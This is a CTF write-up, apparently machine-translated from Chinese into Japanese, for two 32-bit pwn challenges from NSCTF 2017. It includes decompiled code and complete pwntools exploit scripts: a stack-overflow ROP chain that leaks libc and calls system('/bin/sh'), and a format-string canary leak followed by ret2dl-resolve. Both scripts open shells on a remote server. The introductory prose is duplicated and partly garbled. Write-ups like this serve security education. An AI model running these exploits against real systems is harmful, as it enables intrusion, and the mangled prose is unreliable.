緑盟杯NSCTF(CCTF)2017 pwn writeup
前言
試合にはツッコミに値するところが無数にあり、その中で最も重要なのは、タイトルがpwnのlibcに与えられたことだが、特に間違っている.つまりlibcを与えたが、実は運/libc解がないと思って、ついでにこの2つの水題を記録した.
pwn1
ぶんせき
main
do_main:
論理は簡単で、readはスタックに入力されたbufを読み取り、write出力します.サイズはいずれも0 x 100ですが、bufのサイズはそれほど大きくありません.だからスタックオーバーフローがあります.テーマのsecはあります.
考え方:1.readはオーバーフローを引き起こし、その後、戻りアドレスがread関数の位置を指すように制御し、パラメータを設定し、readからelfのdataセグメントはPIEが開かないため、dataセグメントの位置は固定される.その後の戻りアドレスはmainの開始を指し、再びmain 2に入る.その後read関数に入り、dataセグメントに読み込み、/bin/shx 00文字列に書き込みます.3.再びmainに入り、今度の制御はアドレスを返してwrite関数の位置を指し、bufがreadをplt.に指すようにパラメータを設定する.gotの位置は、writeがreadのアドレスを漏らすようにし、その後の次の戻りアドレスは再びmainの開始を指し、main 4に入る.3回目のmainに入ると、read関数のアドレスを取得し、libcのベースアドレスを計算し、systemアドレスを取得しました./bin/shx 00の位置は私たち自身が2ステップ目に書き込んだので、パラメータを設定し、systemに戻ればいいことがわかります.
exp
注意すべき点 libcは間違っているようで、readをplt.で試しただけです.got中のオフセット量が漏れるのは正しいが、他は間違っている可能性があり、得られたlibc baseがページ整列であるか否かで大まかに判断できる ./bin/shには必ずx 00があり、直接search/bin/shにはx 00がないと問題があるようです alarmは時間が短いのでinteractiveはできませんが、直接cat flagでいいです.expのたびにコマンドを出して、初めてlsを先にして、flagがあるかどうかを知ることができます. writeは直接いくつかのアドレスを与えます.スタックアドレスとlibcに近いアドレスが含まれていますが、あまり安定していないようです.そのため、私はこのような複雑な方法 を交換しました. read read终わらないと后ろから送られてきた文字を一枚につなげてraw_input切断またはsleepで 切断
pwn2
ぶんせき
main
child_main
do_input
脆弱性の位置はスタックオーバーフローであり、フォーマット文字列を追加してsecをオンにします.
今回はcanaryがありましたが、forkを見てもわかるはずです.の
考え方1(失敗):1.forkのcanaryは変わらず、フォーマット文字列でcanary 2を手に入れる.フォーマット文字列によりgotテーブルの関数アドレスを取得するlibc位置とsystemアドレス3を決定する.従来の方法では、readを構築して/bin/shx 00を既知の位置に読み込み、最初に戻り、再び読み込み、ipを再制御し、パラメータを設定してsystemにジャンプします.
この考え方は最後に失敗しました.原因は、問題が与えたlibcに問題があり、gotテーブル関数を漏らした後、libcベースアドレスが得られず、systemアドレスが得られません.
考え方2(return to dl-resolve):1.同様の方法でcanary 2を漏らす.構築read読み込み/bin/shx 00およびroputils構築dl_resolve_data、それから最初の3に戻ります.ポインタを再制御しdl resolveでsystemに入ります
exp
私は考え方1から直接考え方2に変更したので、少し乱れているかもしれませんが、注釈の多くは考え方1のコードです.
注意すべき点 readもraw_を使用する必要がありますinput切断 dl_resolve_dataの书き込みの位置は特に注意しなければならなくて、多くいくつかの位置を试みる必要があるかもしれなくて、bssのある内容をカバーすることができなくて、あまりおかしくなくて、すべて奇奇怪怪のseg faultが现れることを招いて、この问题のため私の差数分、この问题を落とすことができませんでした..
試合にはツッコミに値するところが無数にあり、その中で最も重要なのは、タイトルがpwnのlibcに与えられたことだが、特に間違っている.つまりlibcを与えたが、実は運/libc解がないと思って、ついでにこの2つの水題を記録した.
pwn1
ぶんせき
main
int __cdecl main()
{
alarm(0x1u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("[*]Put Your Name:");
do_main();
return 0;
}
do_main:
ssize_t do_main()
{
char buf; // [sp+10h] [bp-88h]@1
read(0, &buf, 0x100u);
return write(1, &buf, 0x100u);
}
論理は簡単で、readはスタックに入力されたbufを読み取り、write出力します.サイズはいずれも0 x 100ですが、bufのサイズはそれほど大きくありません.だからスタックオーバーフローがあります.テーマのsecはあります.
[*] '/home/vagrant/ctf/contests/nsctf-2017/pwn/pwn1/pwn1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
考え方:1.readはオーバーフローを引き起こし、その後、戻りアドレスがread関数の位置を指すように制御し、パラメータを設定し、readからelfのdataセグメントはPIEが開かないため、dataセグメントの位置は固定される.その後の戻りアドレスはmainの開始を指し、再びmain 2に入る.その後read関数に入り、dataセグメントに読み込み、/bin/shx 00文字列に書き込みます.3.再びmainに入り、今度の制御はアドレスを返してwrite関数の位置を指し、bufがreadをplt.に指すようにパラメータを設定する.gotの位置は、writeがreadのアドレスを漏らすようにし、その後の次の戻りアドレスは再びmainの開始を指し、main 4に入る.3回目のmainに入ると、read関数のアドレスを取得し、libcのベースアドレスを計算し、systemアドレスを取得しました./bin/shx 00の位置は私たち自身が2ステップ目に書き込んだので、パラメータを設定し、systemに戻ればいいことがわかります.
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
DEBUG = 0
UBUNTU = 1
GDB = 0
if DEBUG:
p = process("./pwn1")
if UBUNTU:
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
libc = ELF("/usr/lib32/libc.so.6")
else:
libc = ELF("./libc-2.19.so")
p = remote('116.62.63.190', 8888)
def main():
if DEBUG:
offset = 0x1b2000
else:
offset = 0x1a2000
if GDB:
raw_input()
read_addr = 0x080483f0
write_addr = 0x08048440
do_main_addr = 0x0804854d
p.recvline()
payload_prefix = '/bin/sh\x00'.ljust(140, 'a')
payload = payload_prefix
payload += p32(do_main_addr)
p.send(payload)
raw_input()
recved = p.recv()
buf = 0x804a000
payload = payload_prefix
payload += p32(read_addr)
payload += p32(do_main_addr)
payload += p32(0) # fd
payload += p32(buf) # buf
payload += p32(8)
p.send(payload)
raw_input()
p.recv()
p.send('/bin/sh\x00')
raw_input()
read_plt_addr = 0x0804a010
payload = payload_prefix
payload += p32(write_addr)
payload += p32(do_main_addr)
payload += p32(1) # fd
payload += p32(read_plt_addr)
payload += p32(4)
p.send(payload)
read_in_libc = u32(p.recv()[-4:])
log.info('read in libc {}'.format(hex(read_in_libc)))
libc_base = read_in_libc - libc.symbols['read']
log.info('libc base {}'.format(hex(libc_base)))
system_addr = libc_base + libc.symbols['system']
log.info('system at {}'.format(hex(system_addr)))
raw_input()
payload = payload_prefix
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(buf)
p.send(payload)
p.recv()
p.sendline('cat flag')
p.recv()
if __name__ == "__main__":
main()
注意すべき点
pwn2
ぶんせき
main
int __cdecl main()
{
char v1; // [sp+1Bh] [bp-5h]@3
__pid_t forked_pid; // [sp+1Ch] [bp-4h]@8
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while ( 1 )
{
write(1, "[*] Do you love me?[Y]
", 0x17u);
if ( getchar() != 'Y' )
break;
v1 = getchar();
while ( v1 != 10 && v1 )
;
forked_pid = fork();
if ( forked_pid )
{
if ( forked_pid <= 0 )
{
if ( forked_pid < 0 )
exit(0);
}
else
{
wait(0); // parent wait
}
}
else
{
child_main();
}
}
return 0;
}
child_main
int child_main()
{
char *s; // ST18_4@1
int buf; // [sp+1Ch] [bp-1Ch]@1
int v3; // [sp+20h] [bp-18h]@1
int v4; // [sp+24h] [bp-14h]@1
int v5; // [sp+28h] [bp-10h]@1
int v6; // [sp+2Ch] [bp-Ch]@1
v6 = *MK_FP(__GS__, 20);
buf = 0;
v3 = 0;
v4 = 0;
v5 = 0;
s = (char *)malloc(0x40u);
do_input(&buf);
sprintf(s, "[*] Welcome to the game %s", &buf);
printf(s);
puts("[*] Input Your Id:");
read(0, &buf, 0x100u);
return *MK_FP(__GS__, 20) ^ v6;
}
do_input
int __cdecl sub_804876D(void *a1)
{
size_t v1; // ST18_4@1
char s; // [sp+1Ch] [bp-4Ch]@1
int v4; // [sp+5Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
memset(&s, 0, 0x40u);
puts("[*] Input Your name please:");
__isoc99_scanf("%s", &s);
v1 = strlen(&s);
memcpy(a1, &s, v1 + 1);
return *MK_FP(__GS__, 20) ^ v4;
}
脆弱性の位置はスタックオーバーフローであり、フォーマット文字列を追加してsecをオンにします.
[*] '/home/vagrant/ctf/contests/nsctf-2017/pwn/pwn2/pwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
今回はcanaryがありましたが、forkを見てもわかるはずです.の
考え方1(失敗):1.forkのcanaryは変わらず、フォーマット文字列でcanary 2を手に入れる.フォーマット文字列によりgotテーブルの関数アドレスを取得するlibc位置とsystemアドレス3を決定する.従来の方法では、readを構築して/bin/shx 00を既知の位置に読み込み、最初に戻り、再び読み込み、ipを再制御し、パラメータを設定してsystemにジャンプします.
この考え方は最後に失敗しました.原因は、問題が与えたlibcに問題があり、gotテーブル関数を漏らした後、libcベースアドレスが得られず、systemアドレスが得られません.
考え方2(return to dl-resolve):1.同様の方法でcanary 2を漏らす.構築read読み込み/bin/shx 00およびroputils構築dl_resolve_data、それから最初の3に戻ります.ポインタを再制御しdl resolveでsystemに入ります
exp
私は考え方1から直接考え方2に変更したので、少し乱れているかもしれませんが、注釈の多くは考え方1のコードです.
from pwn import *
import roputils
context(os='linux', arch='i386', log_level='debug')
DEBUG = 1
GDB = 1
elf = ELF("./pwn2")
if DEBUG:
p = process("./pwn2")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote("116.62.63.190", 8111)
libc = ELF("./libc-2.19.so")
def leak_canary():
p.recvuntil('[Y]')
p.sendline('Y')
raw_input()
p.recvuntil('please:')
p.sendline('%11$x')
raw_input()
p.recvuntil('game ')
canary = p.recvuntil('[*')[:-2]
canary = int(canary, 16)
log.info('get canary {}'.format(hex(canary)))
p.recvuntil('Id:')
p.sendline()
raw_input()
return canary
def leak_libc():
leaked_printf = leak(elf.got['read'])
log.info('leaked printf {}'.format(hex(leaked_printf)))
libc_base = leaked_printf - libc.symbols['read']
log.info('libc base {}'.format(hex(libc_base)))
return libc_base
def leak(addr):
p.recvuntil('[Y]')
p.sendline('Y')
raw_input()
p.recvuntil('please:')
payload = 'ABCD' + '%9$s' + p32(addr)
p.sendline(payload)
raw_input()
p.recvuntil('game ')
leaked_data = p.recvuntil('[*').split('ABCD')[1][:4]
leaked_exact = u32(leaked_data[:4])
p.recvuntil('Id:')
p.sendline()
raw_input()
return leaked_exact
def main():
if GDB:
raw_input()
rop = roputils.ROP("./pwn2")
canary = leak_canary()
#libc_base = leak_libc()
p.recvuntil('[Y]')
p.sendline('Y')
raw_input()
#system_addr = libc_base + libc.symbols['system']
read_in_plt = 0x08048888
read_in_plt = 0x08048570
back_to_read = 0x080487fa
buf = 0x804a120
#buf = elf.bss()
buf_dl_resolve = buf + 0x20
payload_prefix = 'a' * 16 + p32(canary) + 'b' * 12
payload = payload_prefix
payload += p32(read_in_plt) + p32(back_to_read) + p32(0) + p32(buf) + p32(0x100)
p.recvuntil('please:')
p.sendline('wtf')
raw_input()
p.recvuntil('Id:')
p.send(payload)
raw_input()
p.send('/bin/sh\x00'.ljust(0x20, '\x00') + rop.dl_resolve_data(buf_dl_resolve, 'system'))
#p.send('/bin/sh\x00')
raw_input()
payload = payload_prefix
payload += rop.dl_resolve_call(buf_dl_resolve, buf)
#payload += p32(system_addr) + p32(0xdeadbeef) + p32(buf)
p.recvuntil('please:')
p.sendline('wtttf')
raw_input()
p.recvuntil('Id')
p.send(payload)
raw_input()
p.interactive()
if __name__ == '__main__':
main()
注意すべき点